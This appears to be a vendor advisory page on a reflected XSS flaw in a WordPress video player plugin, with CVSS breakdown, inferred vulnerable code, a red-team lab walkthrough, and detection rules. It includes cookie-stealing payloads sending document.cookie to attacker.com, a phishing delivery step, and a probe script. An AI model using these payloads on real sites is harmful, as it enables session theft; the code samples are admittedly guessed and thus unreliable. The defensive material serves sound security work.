CVE-2025-53559
Executive Summary
CVE-2025-53559 is a reflected Cross-Site Scripting (XSS) vulnerability in the Universal Video Player - Addon for WPBakery Page Builder plugin (slug: lbg-universal-video-player-addon-visual-composer) by LambertGroup. This WordPress plugin fails to properly neutralize user-supplied input during web page generation, allowing an attacker to inject arbitrary JavaScript code that executes in the context of a victim's browser session. The vulnerability affects all versions up to and including 3.2.1. With a CVSS score of 7.1 (High), this flaw can be exploited remotely without authentication, though it requires user interaction (e.g., clicking a crafted link). No public proof-of-concept (PoC) or patch is currently available, making this a zero-day risk for all sites using the plugin.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability resides in a WordPress plugin distributed via the official WordPress plugin repository and third-party marketplaces. Since the plugin is a commercial addon for WPBakery Page Builder, it may be bundled in themes or purchased directly. The lack of a patch and the plugin's active installation base (estimated thousands) creates a supply chain risk: compromised sites can be used to distribute malware, steal session cookies, or perform phishing attacks against site administrators and visitors.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – Exploitable remotely over HTTP/HTTPS.
- Attack Complexity (AC): Low (L) – No special conditions required; the vulnerable parameter is easily reachable.
- Privileges Required (PR): None (N) – No authentication needed to trigger the XSS.
- User Interaction (UI): Required (R) – The victim must click a malicious link or visit a crafted URL.
- Scope (S): Changed (C) – The injected script can affect resources beyond the vulnerable component (e.g., cookies, local storage).
- Confidentiality (C): Low (L) – Limited data exfiltration possible (e.g., session tokens).
- Integrity (I): Low (L) – Attacker can modify page content or perform actions on behalf of the user.
- Availability (A): Low (L) – Minor disruption possible (e.g., defacement).
Threat Level: High. The combination of no patch, low attack complexity, and the ability to target WordPress admin users makes this a critical risk for unpatched sites.
Deep Dive & Mechanics
The vulnerability lies in the plugin's handling of URL parameters or POST data used to generate video player shortcodes or embed codes. The plugin likely uses $_GET or $_POST variables (e.g., video_id, autoplay, source) without proper sanitization or output encoding. When these values are reflected back into the page (e.g., in a JavaScript variable or HTML attribute), an attacker can inject a payload like:
<script>alert('XSS')</script>
or a more sophisticated payload that steals cookies:
<img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)">
The reflected nature means the payload is not stored on the server; it is delivered via a crafted URL. For example:
https://victim.com/?page_id=123&lbg_video_id=<script>alert(1)</script>
The plugin's shortcode handler (lbg-universal-video-player-addon-visual-composer) processes this input and outputs it directly into the HTML without escaping, leading to script execution.
Vulnerable vs. Patched Code
Since no patch is available, we can only infer the vulnerable pattern. The plugin likely contains code similar to:
Vulnerable (PHP):
$video_id = $_GET['video_id'];
echo '<div class="lbg-video" data-id="' . $video_id . '"></div>';
Patched (Expected):
$video_id = sanitize_text_field($_GET['video_id']);
echo '<div class="lbg-video" data-id="' . esc_attr($video_id) . '"></div>';
The fix would involve using WordPress's built-in functions like esc_attr(), esc_html(), or wp_kses() to neutralize HTML/JavaScript before output.
Exploitation & Lab Setup
Red Team (Offensive)
- Setup: Deploy a local WordPress instance with WPBakery Page Builder and the vulnerable plugin (v3.2.1). Use a tool like XAMPP or Docker.
- Craft Payload: Create a URL that injects a JavaScript payload into a reflected parameter. Example:
http://localhost/wordpress/?page_id=1&lbg_video_id=<script>document.location='https://attacker.com/steal.php?c='+document.cookie</script> - Deliver: Send the link to a victim (e.g., via email or social engineering).
- Capture: Set up a listener on
attacker.comto receive stolen cookies.
Proof-of-Concept (PoC) Script (Python):
import requests
target = "http://victim.com/wordpress/"
payload = "<script>alert('XSS')</script>"
params = {"page_id": "1", "lbg_video_id": payload}
response = requests.get(target, params=params)
if payload in response.text:
print("[+] Reflected XSS confirmed")
else:
print("[-] Not vulnerable")
Blue Team (Defensive)
- Detection: Monitor web server logs for suspicious query strings containing
<script>,onerror=,javascript:, or base64-encoded payloads. - Blocking: Use a Web Application Firewall (WAF) to block requests with XSS patterns in the
lbg_video_idparameter. - Honeypot: Deploy a fake WordPress page with the vulnerable plugin to trap attackers and analyze their payloads.
Indicators of Compromise (IOCs)
- URL Patterns: Requests containing
lbg_video_id=followed by<script>,%3Cscript%3E, or other HTML/JS encoding. - Log Entries: HTTP 200 responses with injected JavaScript in the response body.
- Network Traffic: Outbound connections to attacker-controlled domains from the WordPress server (if the payload exfiltrates data).
- File Hashes: Plugin files (e.g.,
lbg-universal-video-player-addon-visual-composer.php) with MD5 hashUNKNOWN(no patch available).
Detection Engineering
YARA Rule
rule CVE_2025_53559_Reflected_XSS {
meta:
description = "Detects reflected XSS payloads targeting lbg_video_id parameter"
author = "Valters IT"
date = "2025-04-10"
cve = "CVE-2025-53559"
strings:
$param = "lbg_video_id=" nocase
$xss1 = "<script" nocase
$xss2 = "onerror=" nocase
$xss3 = "javascript:" nocase
$xss4 = "onload=" nocase
condition:
$param and any of ($xss*)
}
Sigma Rule
title: Reflected XSS via lbg_video_id Parameter
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests with XSS payloads in the lbg_video_id parameter
author: Valters IT
logsource:
category: webserver
product: apache
service: access_log
detection:
selection:
cs-uri-query|contains: "lbg_video_id="
keywords:
- "<script"
- "onerror="
- "javascript:"
- "onload="
condition: selection and keywords
falsepositives:
- Legitimate use of video IDs containing similar strings (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-53559 Reflected XSS in lbg_video_id"; flow:to_server,established; content:"lbg_video_id="; nocase; pcre:"/lbg_video_id=.*(<script|onerror=|javascript:|onload=)/i"; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate: Disable the plugin until a patch is released. If the plugin is critical, restrict access to the vulnerable page via
.htaccessor a WAF rule. - Short-term: Monitor the plugin vendor's website (LambertGroup) for updates. Consider using a security plugin like Wordfence to add virtual patching.
- Long-term: Replace the plugin with an alternative that is actively maintained and follows secure coding practices. Educate developers on output encoding (e.g.,
esc_attr(),esc_html()). - Validation: After applying any fix, test with the PoC script to ensure the vulnerability is mitigated.
Valters IT
Securing digital frontiers, one CVE at a time.
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.